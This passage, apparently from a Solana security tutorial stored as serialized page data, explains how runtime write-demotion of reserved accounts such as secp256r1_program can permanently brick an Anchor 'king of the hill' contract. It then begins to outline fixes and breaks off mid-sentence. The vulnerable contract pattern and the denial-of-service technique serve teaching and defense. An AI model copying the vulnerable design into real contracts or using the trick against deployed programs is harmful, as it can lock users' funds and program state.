&&",{"type":20,"tag":315,"props":72900,"children":72901},{"style":334},[72902],{"type":26,"value":11264},{"type":20,"tag":315,"props":72904,"children":72905},{"style":635},[72906],{"type":26,"value":72710},{"type":20,"tag":315,"props":72908,"children":72909},{"style":334},[72910],{"type":26,"value":61},{"type":20,"tag":315,"props":72912,"children":72913},{"style":345},[72914],{"type":26,"value":72915},"contains",{"type":20,"tag":315,"props":72917,"children":72918},{"style":328},[72919],{"type":26,"value":1049},{"type":20,"tag":315,"props":72921,"children":72922},{"style":334},[72923],{"type":26,"value":1490},{"type":20,"tag":315,"props":72925,"children":72926},{"style":635},[72927],{"type":26,"value":66292},{"type":20,"tag":315,"props":72929,"children":72930},{"style":334},[72931],{"type":26,"value":61},{"type":20,"tag":315,"props":72933,"children":72934},{"style":328},[72935],{"type":26,"value":72936},"account_keys[",{"type":20,"tag":315,"props":72938,"children":72939},{"style":635},[72940],{"type":26,"value":2122},{"type":20,"tag":315,"props":72942,"children":72943},{"style":328},[72944],{"type":26,"value":53693},{"type":20,"tag":315,"props":72946,"children":72947},{"class":317,"line":499},[72948,72952,72956,72960,72964,72969,72973,72977],{"type":20,"tag":315,"props":72949,"children":72950},{"style":334},[72951],{"type":26,"value":72898},{"type":20,"tag":315,"props":72953,"children":72954},{"style":334},[72955],{"type":26,"value":11264},{"type":20,"tag":315,"props":72957,"children":72958},{"style":635},[72959],{"type":26,"value":66292},{"type":20,"tag":315,"props":72961,"children":72962},{"style":334},[72963],{"type":26,"value":61},{"type":20,"tag":315,"props":72965,"children":72966},{"style":345},[72967],{"type":26,"value":72968},"demote_program_id",{"type":20,"tag":315,"props":72970,"children":72971},{"style":328},[72972],{"type":26,"value":1049},{"type":20,"tag":315,"props":72974,"children":72975},{"style":635},[72976],{"type":26,"value":2122},{"type":20,"tag":315,"props":72978,"children":72979},{"style":328},[72980],{"type":26,"value":380},{"type":20,"tag":315,"props":72982,"children":72983},{"class":317,"line":513},[72984],{"type":20,"tag":315,"props":72985,"children":72986},{"style":328},[72987],{"type":26,"value":72988}," })\n",{"type":20,"tag":315,"props":72990,"children":72991},{"class":317,"line":521},[72992,72996,73001,73005,73009,73013,73017,73021],{"type":20,"tag":315,"props":72993,"children":72994},{"style":334},[72995],{"type":26,"value":1549},{"type":20,"tag":315,"props":72997,"children":72998},{"style":345},[72999],{"type":26,"value":73000},"collect",{"type":20,"tag":315,"props":73002,"children":73003},{"style":334},[73004],{"type":26,"value":1861},{"type":20,"tag":315,"props":73006,"children":73007},{"style":328},[73008],{"type":26,"value":4199},{"type":20,"tag":315,"props":73010,"children":73011},{"style":322},[73012],{"type":26,"value":15613},{"type":20,"tag":315,"props":73014,"children":73015},{"style":328},[73016],{"type":26,"value":4199},{"type":20,"tag":315,"props":73018,"children":73019},{"style":635},[73020],{"type":26,"value":1463},{"type":20,"tag":315,"props":73022,"children":73023},{"style":328},[73024],{"type":26,"value":73025},">>();\n",{"type":20,"tag":315,"props":73027,"children":73028},{"class":317,"line":552},[73029,73034],{"type":20,"tag":315,"props":73030,"children":73031},{"style":541},[73032],{"type":26,"value":73033}," Self",{"type":20,"tag":315,"props":73035,"children":73036},{"style":328},[73037],{"type":26,"value":1092},{"type":20,"tag":315,"props":73039,"children":73040},{"class":317,"line":571},[73041,73046,73050,73055,73059,73064,73068,73072],{"type":20,"tag":315,"props":73042,"children":73043},{"style":635},[73044],{"type":26,"value":73045}," message",{"type":20,"tag":315,"props":73047,"children":73048},{"style":334},[73049],{"type":26,"value":2884},{"type":20,"tag":315,"props":73051,"children":73052},{"style":322},[73053],{"type":26,"value":73054}," Cow",{"type":20,"tag":315,"props":73056,"children":73057},{"style":334},[73058],{"type":26,"value":1861},{"type":20,"tag":315,"props":73060,"children":73061},{"style":345},[73062],{"type":26,"value":73063},"Owned",{"type":20,"tag":315,"props":73065,"children":73066},{"style":328},[73067],{"type":26,"value":1049},{"type":20,"tag":315,"props":73069,"children":73070},{"style":635},[73071],{"type":26,"value":66292},{"type":20,"tag":315,"props":73073,"children":73074},{"style":328},[73075],{"type":26,"value":5131},{"type":20,"tag":315,"props":73077,"children":73078},{"class":317,"line":2031},[73079,73084],{"type":20,"tag":315,"props":73080,"children":73081},{"style":635},[73082],{"type":26,"value":73083}," is_writable_account_cache",{"type":20,"tag":315,"props":73085,"children":73086},{"style":328},[73087],{"type":26,"value":643},{"type":20,"tag":315,"props":73089,"children":73090},{"class":317,"line":2053},[73091],{"type":20,"tag":315,"props":73092,"children":73093},{"style":328},[73094],{"type":26,"value":1728},{"type":20,"tag":315,"props":73096,"children":73097},{"class":317,"line":2061},[73098],{"type":20,"tag":315,"props":73099,"children":73100},{"style":328},[73101],{"type":26,"value":1736},{"type":20,"tag":315,"props":73103,"children":73104},{"class":317,"line":2070},[73105],{"type":20,"tag":315,"props":73106,"children":73107},{"style":328},[73108],{"type":26,"value":577},{"type":20,"tag":315,"props":73110,"children":73111},{"class":317,"line":2139},[73112],{"type":20,"tag":315,"props":73113,"children":73114},{"emptyLinePlaceholder":15},[73115],{"type":26,"value":427},{"type":20,"tag":315,"props":73117,"children":73118},{"class":317,"line":2147},[73119],{"type":20,"tag":315,"props":73120,"children":73121},{"style":1071},[73122],{"type":26,"value":73123},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":20,"tag":315,"props":73125,"children":73126},{"class":317,"line":2177},[73127,73131,73135,73140,73144,73148,73152,73156,73160,73164,73168,73172,73176,73180],{"type":20,"tag":315,"props":73128,"children":73129},{"style":541},[73130],{"type":26,"value":12091},{"type":20,"tag":315,"props":73132,"children":73133},{"style":541},[73134],{"type":26,"value":12096},{"type":20,"tag":315,"props":73136,"children":73137},{"style":345},[73138],{"type":26,"value":73139}," demote_program_id",{"type":20,"tag":315,"props":73141,"children":73142},{"style":328},[73143],{"type":26,"value":1049},{"type":20,"tag":315,"props":73145,"children":73146},{"style":334},[73147],{"type":26,"value":1490},{"type":20,"tag":315,"props":73149,"children":73150},{"style":541},[73151],{"type":26,"value":12114},{"type":20,"tag":315,"props":73153,"children":73154},{"style":328},[73155],{"type":26,"value":44},{"type":20,"tag":315,"props":73157,"children":73158},{"style":635},[73159],{"type":26,"value":2122},{"type":20,"tag":315,"props":73161,"children":73162},{"style":334},[73163],{"type":26,"value":2884},{"type":20,"tag":315,"props":73165,"children":73166},{"style":322},[73167],{"type":26,"value":12132},{"type":20,"tag":315,"props":73169,"children":73170},{"style":328},[73171],{"type":26,"value":1468},{"type":20,"tag":315,"props":73173,"children":73174},{"style":334},[73175],{"type":26,"value":12158},{"type":20,"tag":315,"props":73177,"children":73178},{"style":322},[73179],{"type":26,"value":10451},{"type":20,"tag":315,"props":73181,"children":73182},{"style":328},[73183],{"type":26,"value":1092},{"type":20,"tag":315,"props":73185,"children":73186},{"class":317,"line":2185},[73187,73191,73195,73200,73204,73208,73212,73216,73220,73224,73228,73233],{"type":20,"tag":315,"props":73188,"children":73189},{"style":541},[73190],{"type":26,"value":19190},{"type":20,"tag":315,"props":73192,"children":73193},{"style":334},[73194],{"type":26,"value":61},{"type":20,"tag":315,"props":73196,"children":73197},{"style":345},[73198],{"type":26,"value":73199},"is_key_called_as_program",{"type":20,"tag":315,"props":73201,"children":73202},{"style":328},[73203],{"type":26,"value":1049},{"type":20,"tag":315,"props":73205,"children":73206},{"style":635},[73207],{"type":26,"value":2122},{"type":20,"tag":315,"props":73209,"children":73210},{"style":328},[73211],{"type":26,"value":1468},{"type":20,"tag":315,"props":73213,"children":73214},{"style":334},[73215],{"type":26,"value":71453},{"type":20,"tag":315,"props":73217,"children":73218},{"style":334},[73219],{"type":26,"value":11264},{"type":20,"tag":315,"props":73221,"children":73222},{"style":541},[73223],{"type":26,"value":12114},{"type":20,"tag":315,"props":73225,"children":73226},{"style":334},[73227],{"type":26,"value":61},{"type":20,"tag":315,"props":73229,"children":73230},{"style":345},[73231],{"type":26,"value":73232},"is_upgradeable_loader_present",{"type":20,"tag":315,"props":73234,"children":73235},{"style":328},[73236],{"type":26,"value":6131},{"type":20,"tag":315,"props":73238,"children":73239},{"class":317,"line":2217},[73240],{"type":20,"tag":315,"props":73241,"children":73242},{"style":328},[73243],{"type":26,"value":577},{"type":20,"tag":29,"props":73245,"children":73246},{},[73247],{"type":26,"value":73248},"As you can see, there are two main causes of write-demotion:",{"type":20,"tag":68,"props":73250,"children":73251},{},[73252,73264],{"type":20,"tag":72,"props":73253,"children":73254},{},[73255,73257],{"type":26,"value":73256},"The account appears in the ",{"type":20,"tag":35,"props":73258,"children":73261},{"href":73259,"rel":73260},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[39],[73262],{"type":26,"value":73263},"reserved account list",{"type":20,"tag":72,"props":73265,"children":73266},{},[73267],{"type":26,"value":73268},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":20,"tag":29,"props":73270,"children":73271},{},[73272],{"type":26,"value":73273},"The second case is generally covered by the executable check implemented previously.",{"type":20,"tag":29,"props":73275,"children":73276},{},[73277],{"type":26,"value":73278},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":20,"tag":17297,"props":73280,"children":73282},{"id":73281},"the-reserved-account-list",[73283],{"type":26,"value":73284},"The Reserved Account List",{"type":20,"tag":29,"props":73286,"children":73287},{},[73288,73290,73295],{"type":26,"value":73289},"The Solana runtime maintains a ",{"type":20,"tag":35,"props":73291,"children":73293},{"href":73259,"rel":73292},[39],[73294],{"type":26,"value":73263},{"type":26,"value":73296},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":20,"tag":29,"props":73298,"children":73299},{},[73300,73302,73309,73311,73316],{"type":26,"value":73301},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":20,"tag":35,"props":73303,"children":73306},{"href":73304,"rel":73305},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[39],[73307],{"type":26,"value":73308},"feature gate is actived",{"type":26,"value":73310},", the runtime will ",{"type":20,"tag":3717,"props":73312,"children":73313},{},[73314],{"type":26,"value":73315},"automatically demote them to read-only",{"type":26,"value":73317},", even if the transaction marked them as writable.",{"type":20,"tag":305,"props":73319,"children":73321},{"className":1360,"code":73320,"language":1359,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[73322],{"type":20,"tag":119,"props":73323,"children":73324},{"__ignoreMap":7},[73325,73333,73341,73365,73419,73457,73486],{"type":20,"tag":315,"props":73326,"children":73327},{"class":317,"line":318},[73328],{"type":20,"tag":315,"props":73329,"children":73330},{"style":1071},[73331],{"type":26,"value":73332},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":20,"tag":315,"props":73334,"children":73335},{"class":317,"line":356},[73336],{"type":20,"tag":315,"props":73337,"children":73338},{"style":1071},[73339],{"type":26,"value":73340},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":20,"tag":315,"props":73342,"children":73343},{"class":317,"line":365},[73344,73348,73352,73357,73361],{"type":20,"tag":315,"props":73345,"children":73346},{"style":541},[73347],{"type":26,"value":12114},{"type":20,"tag":315,"props":73349,"children":73350},{"style":334},[73351],{"type":26,"value":61},{"type":20,"tag":315,"props":73353,"children":73354},{"style":328},[73355],{"type":26,"value":73356},"reserved_account_keys ",{"type":20,"tag":315,"props":73358,"children":73359},{"style":334},[73360],{"type":26,"value":337},{"type":20,"tag":315,"props":73362,"children":73363},{"style":328},[73364],{"type":26,"value":1092},{"type":20,"tag":315,"props":73366,"children":73367},{"class":317,"line":374},[73368,73372,73376,73381,73385,73390,73394,73398,73402,73406,73410,73414],{"type":20,"tag":315,"props":73369,"children":73370},{"style":541},[73371],{"type":26,"value":1380},{"type":20,"tag":315,"props":73373,"children":73374},{"style":541},[73375],{"type":26,"value":1385},{"type":20,"tag":315,"props":73377,"children":73378},{"style":635},[73379],{"type":26,"value":73380}," reserved_keys",{"type":20,"tag":315,"props":73382,"children":73383},{"style":334},[73384],{"type":26,"value":1395},{"type":20,"tag":315,"props":73386,"children":73387},{"style":322},[73388],{"type":26,"value":73389}," ReservedAccountKeys",{"type":20,"tag":315,"props":73391,"children":73392},{"style":334},[73393],{"type":26,"value":1861},{"type":20,"tag":315,"props":73395,"children":73396},{"style":345},[73397],{"type":26,"value":13821},{"type":20,"tag":315,"props":73399,"children":73400},{"style":328},[73401],{"type":26,"value":1049},{"type":20,"tag":315,"props":73403,"children":73404},{"style":334},[73405],{"type":26,"value":1490},{"type":20,"tag":315,"props":73407,"children":73408},{"style":541},[73409],{"type":26,"value":12114},{"type":20,"tag":315,"props":73411,"children":73412},{"style":334},[73413],{"type":26,"value":61},{"type":20,"tag":315,"props":73415,"children":73416},{"style":328},[73417],{"type":26,"value":73418},"reserved_account_keys);\n",{"type":20,"tag":315,"props":73420,"children":73421},{"class":317,"line":383},[73422,73427,73431,73436,73440,73444,73448,73452],{"type":20,"tag":315,"props":73423,"children":73424},{"style":635},[73425],{"type":26,"value":73426}," reserved_keys",{"type":20,"tag":315,"props":73428,"children":73429},{"style":334},[73430],{"type":26,"value":61},{"type":20,"tag":315,"props":73432,"children":73433},{"style":345},[73434],{"type":26,"value":73435},"update_active_set",{"type":20,"tag":315,"props":73437,"children":73438},{"style":328},[73439],{"type":26,"value":1049},{"type":20,"tag":315,"props":73441,"children":73442},{"style":334},[73443],{"type":26,"value":1490},{"type":20,"tag":315,"props":73445,"children":73446},{"style":541},[73447],{"type":26,"value":12114},{"type":20,"tag":315,"props":73449,"children":73450},{"style":334},[73451],{"type":26,"value":61},{"type":20,"tag":315,"props":73453,"children":73454},{"style":328},[73455],{"type":26,"value":73456},"feature_set);\n",{"type":20,"tag":315,"props":73458,"children":73459},{"class":317,"line":407},[73460,73465,73469,73473,73477,73482],{"type":20,"tag":315,"props":73461,"children":73462},{"style":322},[73463],{"type":26,"value":73464}," Arc",{"type":20,"tag":315,"props":73466,"children":73467},{"style":334},[73468],{"type":26,"value":1861},{"type":20,"tag":315,"props":73470,"children":73471},{"style":345},[73472],{"type":26,"value":13523},{"type":20,"tag":315,"props":73474,"children":73475},{"style":328},[73476],{"type":26,"value":1049},{"type":20,"tag":315,"props":73478,"children":73479},{"style":635},[73480],{"type":26,"value":73481},"reserved_keys",{"type":20,"tag":315,"props":73483,"children":73484},{"style":328},[73485],{"type":26,"value":380},{"type":20,"tag":315,"props":73487,"children":73488},{"class":317,"line":421},[73489],{"type":20,"tag":315,"props":73490,"children":73491},{"style":328},[73492],{"type":26,"value":14979},{"type":20,"tag":17297,"props":73494,"children":73496},{"id":73495},"consequences-silent-failures-and-bricked-programs",[73497],{"type":26,"value":73498},"Consequences: Silent Failures and Bricked Programs",{"type":20,"tag":29,"props":73500,"children":73501},{},[73502],{"type":26,"value":73503},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":20,"tag":305,"props":73505,"children":73507},{"className":1360,"code":73506,"language":1359,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[73508],{"type":20,"tag":119,"props":73509,"children":73510},{"__ignoreMap":7},[73511,73526,73553,73568,73607,73614,73661,73692,73699,73714,73745,73752,73767,73798],{"type":20,"tag":315,"props":73512,"children":73513},{"class":317,"line":318},[73514,73518,73522],{"type":20,"tag":315,"props":73515,"children":73516},{"style":328},[73517],{"type":26,"value":21242},{"type":20,"tag":315,"props":73519,"children":73520},{"style":322},[73521],{"type":26,"value":21247},{"type":20,"tag":315,"props":73523,"children":73524},{"style":328},[73525],{"type":26,"value":18662},{"type":20,"tag":315,"props":73527,"children":73528},{"class":317,"line":356},[73529,73533,73537,73541,73545,73549],{"type":20,"tag":315,"props":73530,"children":73531},{"style":541},[73532],{"type":26,"value":12091},{"type":20,"tag":315,"props":73534,"children":73535},{"style":541},[73536],{"type":26,"value":19555},{"type":20,"tag":315,"props":73538,"children":73539},{"style":322},[73540],{"type":26,"value":69566},{"type":20,"tag":315,"props":73542,"children":73543},{"style":328},[73544],{"type":26,"value":21327},{"type":20,"tag":315,"props":73546,"children":73547},{"style":322},[73548],{"type":26,"value":21332},{"type":20,"tag":315,"props":73550,"children":73551},{"style":328},[73552],{"type":26,"value":5676},{"type":20,"tag":315,"props":73554,"children":73555},{"class":317,"line":365},[73556,73560,73564],{"type":20,"tag":315,"props":73557,"children":73558},{"style":328},[73559],{"type":26,"value":21534},{"type":20,"tag":315,"props":73561,"children":73562},{"style":541},[73563],{"type":26,"value":2107},{"type":20,"tag":315,"props":73565,"children":73566},{"style":328},[73567],{"type":26,"value":18662},{"type":20,"tag":315,"props":73569,"children":73570},{"class":317,"line":374},[73571,73575,73579,73583,73587,73591,73595,73599,73603],{"type":20,"tag":315,"props":73572,"children":73573},{"style":541},[73574],{"type":26,"value":19247},{"type":20,"tag":315,"props":73576,"children":73577},{"style":635},[73578],{"type":26,"value":69605},{"type":20,"tag":315,"props":73580,"children":73581},{"style":334},[73582],{"type":26,"value":2884},{"type":20,"tag":315,"props":73584,"children":73585},{"style":322},[73586],{"type":26,"value":21499},{"type":20,"tag":315,"props":73588,"children":73589},{"style":328},[73590],{"type":26,"value":21327},{"type":20,"tag":315,"props":73592,"children":73593},{"style":322},[73594],{"type":26,"value":21332},{"type":20,"tag":315,"props":73596,"children":73597},{"style":328},[73598],{"type":26,"value":44},{"type":20,"tag":315,"props":73600,"children":73601},{"style":322},[73602],{"type":26,"value":69630},{"type":20,"tag":315,"props":73604,"children":73605},{"style":328},[73606],{"type":26,"value":4532},{"type":20,"tag":315,"props":73608,"children":73609},{"class":317,"line":383},[73610],{"type":20,"tag":315,"props":73611,"children":73612},{"emptyLinePlaceholder":15},[73613],{"type":26,"value":427},{"type":20,"tag":315,"props":73615,"children":73616},{"class":317,"line":407},[73617,73621,73625,73629,73633,73637,73641,73645,73649,73653,73657],{"type":20,"tag":315,"props":73618,"children":73619},{"style":328},[73620],{"type":26,"value":21534},{"type":20,"tag":315,"props":73622,"children":73623},{"style":541},[73624],{"type":26,"value":2107},{"type":20,"tag":315,"props":73626,"children":73627},{"style":328},[73628],{"type":26,"value":69665},{"type":20,"tag":315,"props":73630,"children":73631},{"style":334},[73632],{"type":26,"value":337},{"type":20,"tag":315,"props":73634,"children":73635},{"style":328},[73636],{"type":26,"value":69674},{"type":20,"tag":315,"props":73638,"children":73639},{"style":334},[73640],{"type":26,"value":61},{"type":20,"tag":315,"props":73642,"children":73643},{"style":328},[73644],{"type":26,"value":69683},{"type":20,"tag":315,"props":73646,"children":73647},{"style":334},[73648],{"type":26,"value":538},{"type":20,"tag":315,"props":73650,"children":73651},{"style":328},[73652],{"type":26,"value":69605},{"type":20,"tag":315,"props":73654,"children":73655},{"style":334},[73656],{"type":26,"value":61},{"type":20,"tag":315,"props":73658,"children":73659},{"style":328},[73660],{"type":26,"value":69700},{"type":20,"tag":315,"props":73662,"children":73663},{"class":317,"line":421},[73664,73668,73672,73676,73680,73684,73688],{"type":20,"tag":315,"props":73665,"children":73666},{"style":541},[73667],{"type":26,"value":19247},{"type":20,"tag":315,"props":73669,"children":73670},{"style":635},[73671],{"type":26,"value":69674},{"type":20,"tag":315,"props":73673,"children":73674},{"style":334},[73675],{"type":26,"value":2884},{"type":20,"tag":315,"props":73677,"children":73678},{"style":322},[73679],{"type":26,"value":23814},{"type":20,"tag":315,"props":73681,"children":73682},{"style":328},[73683],{"type":26,"value":21327},{"type":20,"tag":315,"props":73685,"children":73686},{"style":322},[73687],{"type":26,"value":21332},{"type":20,"tag":315,"props":73689,"children":73690},{"style":328},[73691],{"type":26,"value":4532},{"type":20,"tag":315,"props":73693,"children":73694},{"class":317,"line":430},[73695],{"type":20,"tag":315,"props":73696,"children":73697},{"emptyLinePlaceholder":15},[73698],{"type":26,"value":427},{"type":20,"tag":315,"props":73700,"children":73701},{"class":317,"line":453},[73702,73706,73710],{"type":20,"tag":315,"props":73703,"children":73704},{"style":328},[73705],{"type":26,"value":21534},{"type":20,"tag":315,"props":73707,"children":73708},{"style":541},[73709],{"type":26,"value":2107},{"type":20,"tag":315,"props":73711,"children":73712},{"style":328},[73713],{"type":26,"value":18662},{"type":20,"tag":315,"props":73715,"children":73716},{"class":317,"line":486},[73717,73721,73725,73729,73733,73737,73741],{"type":20,"tag":315,"props":73718,"children":73719},{"style":541},[73720],{"type":26,"value":19247},{"type":20,"tag":315,"props":73722,"children":73723},{"style":635},[73724],{"type":26,"value":69773},{"type":20,"tag":315,"props":73726,"children":73727},{"style":334},[73728],{"type":26,"value":2884},{"type":20,"tag":315,"props":73730,"children":73731},{"style":322},[73732],{"type":26,"value":23814},{"type":20,"tag":315,"props":73734,"children":73735},{"style":328},[73736],{"type":26,"value":21327},{"type":20,"tag":315,"props":73738,"children":73739},{"style":322},[73740],{"type":26,"value":21332},{"type":20,"tag":315,"props":73742,"children":73743},{"style":328},[73744],{"type":26,"value":4532},{"type":20,"tag":315,"props":73746,"children":73747},{"class":317,"line":499},[73748],{"type":20,"tag":315,"props":73749,"children":73750},{"emptyLinePlaceholder":15},[73751],{"type":26,"value":427},{"type":20,"tag":315,"props":73753,"children":73754},{"class":317,"line":513},[73755,73759,73763],{"type":20,"tag":315,"props":73756,"children":73757},{"style":328},[73758],{"type":26,"value":21534},{"type":20,"tag":315,"props":73760,"children":73761},{"style":541},[73762],{"type":26,"value":2107},{"type":20,"tag":315,"props":73764,"children":73765},{"style":328},[73766],{"type":26,"value":18662},{"type":20,"tag":315,"props":73768,"children":73769},{"class":317,"line":521},[73770,73774,73778,73782,73786,73790,73794],{"type":20,"tag":315,"props":73771,"children":73772},{"style":541},[73773],{"type":26,"value":19247},{"type":20,"tag":315,"props":73775,"children":73776},{"style":635},[73777],{"type":26,"value":40659},{"type":20,"tag":315,"props":73779,"children":73780},{"style":334},[73781],{"type":26,"value":2884},{"type":20,"tag":315,"props":73783,"children":73784},{"style":322},[73785],{"type":26,"value":21563},{"type":20,"tag":315,"props":73787,"children":73788},{"style":328},[73789],{"type":26,"value":21327},{"type":20,"tag":315,"props":73791,"children":73792},{"style":322},[73793],{"type":26,"value":21332},{"type":20,"tag":315,"props":73795,"children":73796},{"style":328},[73797],{"type":26,"value":4532},{"type":20,"tag":315,"props":73799,"children":73800},{"class":317,"line":552},[73801],{"type":20,"tag":315,"props":73802,"children":73803},{"style":328},[73804],{"type":26,"value":577},{"type":20,"tag":29,"props":73806,"children":73807},{},[73808,73810,73816,73818,73824],{"type":26,"value":73809},"This works fine — until one day, ",{"type":20,"tag":119,"props":73811,"children":73813},{"className":73812},[],[73814],{"type":26,"value":73815},"old_king",{"type":26,"value":73817}," is silently demoted. Suddenly, the ",{"type":20,"tag":119,"props":73819,"children":73821},{"className":73820},[],[73822],{"type":26,"value":73823},"#[account(mut)]",{"type":26,"value":73825}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":20,"tag":17297,"props":73827,"children":73829},{"id":73828},"real-world-example-write-demotion-with-secp256r1_program",[73830,73832],{"type":26,"value":73831},"Real-World Example: Write-Demotion with ",{"type":20,"tag":119,"props":73833,"children":73835},{"className":73834},[],[73836],{"type":26,"value":73837},"secp256r1_program",{"type":20,"tag":29,"props":73839,"children":73840},{},[73841,73843,73848],{"type":26,"value":73842},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":20,"tag":119,"props":73844,"children":73846},{"className":73845},[],[73847],{"type":26,"value":73837},{"type":26,"value":73849},", a precompiled program gated behind a feature flag:",{"type":20,"tag":305,"props":73851,"children":73853},{"className":1360,"code":73852,"language":1359,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[73854],{"type":20,"tag":119,"props":73855,"children":73856},{"__ignoreMap":7},[73857,73878,73898,73927],{"type":20,"tag":315,"props":73858,"children":73859},{"class":317,"line":318},[73860,73865,73869,73874],{"type":20,"tag":315,"props":73861,"children":73862},{"style":322},[73863],{"type":26,"value":73864},"ReservedAccount",{"type":20,"tag":315,"props":73866,"children":73867},{"style":334},[73868],{"type":26,"value":1861},{"type":20,"tag":315,"props":73870,"children":73871},{"style":345},[73872],{"type":26,"value":73873},"new_pending",{"type":20,"tag":315,"props":73875,"children":73876},{"style":328},[73877],{"type":26,"value":353},{"type":20,"tag":315,"props":73879,"children":73880},{"class":317,"line":356},[73881,73886,73890,73894],{"type":20,"tag":315,"props":73882,"children":73883},{"style":328},[73884],{"type":26,"value":73885}," secp256r1_program",{"type":20,"tag":315,"props":73887,"children":73888},{"style":334},[73889],{"type":26,"value":1861},{"type":20,"tag":315,"props":73891,"children":73892},{"style":345},[73893],{"type":26,"value":1866},{"type":20,"tag":315,"props":73895,"children":73896},{"style":328},[73897],{"type":26,"value":1871},{"type":20,"tag":315,"props":73899,"children":73900},{"class":317,"line":365},[73901,73906,73910,73915,73919,73923],{"type":20,"tag":315,"props":73902,"children":73903},{"style":328},[73904],{"type":26,"value":73905}," feature_set",{"type":20,"tag":315,"props":73907,"children":73908},{"style":334},[73909],{"type":26,"value":1861},{"type":20,"tag":315,"props":73911,"children":73912},{"style":328},[73913],{"type":26,"value":73914},"enable_secp256r1_precompile",{"type":20,"tag":315,"props":73916,"children":73917},{"style":334},[73918],{"type":26,"value":1861},{"type":20,"tag":315,"props":73920,"children":73921},{"style":345},[73922],{"type":26,"value":1866},{"type":20,"tag":315,"props":73924,"children":73925},{"style":328},[73926],{"type":26,"value":1871},{"type":20,"tag":315,"props":73928,"children":73929},{"class":317,"line":374},[73930],{"type":20,"tag":315,"props":73931,"children":73932},{"style":328},[73933],{"type":26,"value":380},{"type":20,"tag":29,"props":73935,"children":73936},{},[73937,73939,73944,73946,73952],{"type":26,"value":73938},"Before the ",{"type":20,"tag":119,"props":73940,"children":73942},{"className":73941},[],[73943],{"type":26,"value":73914},{"type":26,"value":73945}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":20,"tag":119,"props":73947,"children":73949},{"className":73948},[],[73950],{"type":26,"value":73951},"secp256r1_program::id()",{"type":26,"value":73953}," as the king in a contract.",{"type":20,"tag":29,"props":73955,"children":73956},{},[73957,73959,73964],{"type":26,"value":73958},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":20,"tag":119,"props":73960,"children":73962},{"className":73961},[],[73963],{"type":26,"value":73951},{"type":26,"value":73965}," becomes the eternal king, and no one can dethrone it.",{"type":20,"tag":17297,"props":73967,"children":73969},{"id":73968},"fix-3-preventing-write-demotion-pitfalls",[73970],{"type":26,"value":73971},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":20,"tag":29,"props":73973,"children":73974},{},[73975,73977,73982],{"type":26,"value":73976},"Alright, let’s try to fix this ",{"type":20,"tag":55,"props":73978,"children":73979},{},[73980],{"type":26,"value":73981},"yet another",{"type":26,"value":73983}," edge case — and hopefully close the book on it.",{"type":20,"tag":17297,"props":73985,"children":73987},{"id":73986},"attempt-1-block-known-reserved-accounts",[73988],{"type":26,"value":73989},"Attempt 1: Block Known Reserved Accounts",{"type":20,"tag":29,"props":73991,"children":73992},{},[73993],{"type":26,"value":73994},"One naive solution is to reject any known reserved account, for example:",{"type":20,"tag":305,"props":73996,"children":73998},{"className":38777,"code":73997,"language":38779,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[73999],{"type":20,"tag":119,"props":74000,"children":74001},{"__ignoreMap":7},[74002,74010],{"type":20,"tag":315,"props":74003,"children":74004},{"class":317,"line":318},[74005],{"type":20,"tag":315,"props":74006,"children":74007},{"style":328},[74008],{"type":26,"value":74009}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":20,"tag":315,"props":74011,"children":74012},{"class":317,"line":356},[74013],{"type":20,"tag":315,"props":74014,"children":74015},{"style":765},[74016],{"type":26,"value":74017},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":20,"tag":29,"props":74019,"children":74020},{},[74021,74023,74028],{"type":26,"value":74022},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":20,"tag":119,"props":74024,"children":74026},{"className":74025},[],[74027],{"type":26,"value":73864},{"type":26,"value":74029}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":20,"tag":17297,"props":74031,"children":74033},{"id":74032},"attempt-2-use-a-pda-vault",[74034],{"type":26,"value":74035},"Attempt 2: Use a PDA Vault",{"type":20,"tag":29,"props":74037,"children":74038},{},[74039,74041,74046],{"type":26,"value":74040},"A more future-proof fix is to avoid ",{"type":20,"tag":3717,"props":74042,"children":74043},{},[74044],{"type":26,"value":74045},"transferring lamports to arbitrary 